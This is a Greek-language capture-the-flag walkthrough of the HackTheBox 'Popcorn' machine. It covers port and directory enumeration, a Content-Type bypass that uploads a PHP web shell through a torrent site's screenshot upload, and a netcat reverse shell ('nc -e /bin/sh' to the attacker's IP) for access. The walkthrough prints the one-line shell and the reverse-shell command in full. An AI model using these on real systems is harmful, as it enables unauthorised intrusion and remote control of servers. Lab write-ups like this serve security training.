Σε αυτόν τον οδηγό θα ασχοληθούμε με το popcorn machine από το hackthebox. Είναι ένα μέτριας δυσκολίας CTF, το οποίο όμως θα μας δώσει αρκετές γνώσεις γύρω από το πως μπορούμε να εκμεταλλευτούμε κενά ασφάλειας.

Πρώτο στάδιο σε όλα τα CTFs να δούμε ακριβώς τι services τρέχουν σε όσες πιο πολλές πόρτες(ports) μπορούμε,

τρέχοντας λοιπόν μέσω terminal το nmap με τις κατάλληλες παραμέτρους περνούμε τα εξής,

Βλέπουμε την 80/tcp και την 22/tcp οπότε παίρνουμε το συμπέρασμα ότι ο server αυτός χρησιμοποιείτε σαν vps για τον παραπάνω host. Ο apache τρέχει ήδη οπότε μέσω του browser ανοίγουμε την ιστοσελίδα μήπως πάρουμε έξτρα πληροφορίες,

Πέρνοντας αυτό σαν αποτέλεσμα δεν μας βοηθάει κάπου. Επόμενο στάδιο είναι το File Enumeration δηλαδή να πάρουμε όσο το δυνατόν περισσότερα directories μπορούμε. Αυτό θα το κάνουμε με το dirb

Τρέχοντας λοιπόν το dirb μετά από λίγο βλέπουμε κάποια ενδιαφέροντα directories.

Ανοίγοντας το http://10.10.10.6/torrent/ directory στον browser παίρνουμε σαν αποτέλεσμα το παρακάτω,

Βλέποντας ότι τρέχει το torrent hoster αυτό που θα δοκιμάσουμε να κάνουμε είναι να ανεβάσουμε ένα αρχείο php το οποίο θα μας δίνει πρόσβαση στο shell του server (uploading a PHP shell),

Ακολουθώντας την sign up φόρμα που έχουμε μπροστά μας δημιουργούμε ένα account, έπειτα κάνουμε login με τα στοιχεία που δώσαμε και στην συνέχεια δοκιμάζουμε να ανεβάσουμε ένα αρχείο στον server για να δούμε αν και τι ελέγχους κάνει πριν το αρχείο αυτό πάει στον server.

Άρα ο server δεν μας αφήνει να ανεβάσουμε αρχεία που δεν είναι torrent. Το θέμα έιναι να δούμε αν αυτό εκτελείτε server ή client side.

Προφανώς ο server θα μας αφήσει να ανεβάσουμε αρχεία .torrent άρα θα δοκιμάσουμε να ανεβάσουμε ένα αρχείο .torrent. O συνδεσμος(http://releases.ubuntu.com/16.04/ubuntu-16.04.4-server-i386.iso.torrent) αυτός κατεβάζει το επίσημο ubuntu server iso και είναι σε μορφή torrent. Οπότε μόλις το κατεβάσουμε προσπαθούμε ξανά να το κάνουμε upload.

Το αρχείο ανέβηκε κανονικά.

Έπειτα έχουμε την επιλογή να ανεβάσουμε ένα screenshot οπότε εκεί σίγουρα ο sever θα μας αφήνει να ανεβάσουμε ένα αρχείο εικόνας,

και όντως δοκιμάζοντας όπως πρίν τώρα μας αφήνει ένα αρχείο .png να ανέβει. Ο λόγος που θέλαμε να βρούμε τρόπο να ανεβάσουμε photo και όχι κάποιο άλλο αρχείο είναι γιατι από τα αποτελέσματα που πήραμε από το dirb βρήκαμε ένα το εξης directory,

Και ανοίγοντας το μας δίνει μόνο τα screenshots από τα εκάστοτε torrent

Στην συνέχεια θα δούμε κατά πόσο μπορούμε να ανεβάσουμε αρχείο ένα αρχείο .php χωρίς όμως ο server να καταλάβει πως δεν πρόκειται για αρχείο εικόνας. Σε αυτό θα μας βοηθήσει το burb suite με το οποίο θα αναλύσουμε το post request. Βλέποντας το post request,

Βλέπουμε ότι όταν ανεβάζουμε ένα αρχείο php το Content-Type το καταλαβαίνει. Οπότε εμείς πρέπει να αλλάξουμε το content type σε image/png και έπειτα θα αλλάξουμε και την κατάληξη του αρχείου μας,

Το .php αρχείο ανέβηκε. Αυτό το αρχείο δεν είναι τιποτα το σπουδαίο παρα μόνο αυτό

<?php echo (system($_GET[‘cmd’])); ?>

Το οποίο μας αφήνει να εκτελέσουμε εντολές συστήματος. Στην συνέχεια μένει να ανοίξουμε το .php αρχείο που ανοίξαμε πηγαίνοντας στο directory /torrent/upload/.

Ανοίγοντας το, πηγαίνουμε στο URL και απλά προσθέτουμε ?cmd=pwd

το οποίο μας λέει ότι βρισκόμαστε στο /var/www/torrent/upload.

Έπειτα στήνουμε ένα listener στον υπολογιστή μας με την παρακάτω εντολή,

για να δεις τι ακριβώς κάνουν τα parameters
  • nc – netcat
  • -n
  • -v
  • -l listen mode αυτό δηλαδή που θέλουμε
  • -p local port που στην περιπτωση μας είναι η 7001

Έπειτα θα θέσουμε σαν parameter στο προηγούμενο URL cmd=nc -e /bin/sh (((thn_ip_mas_xwris_tis_parenthesis))) 7001

Και αυτό ήταν μόλις αποκτήσαμε πρόσβαση στον host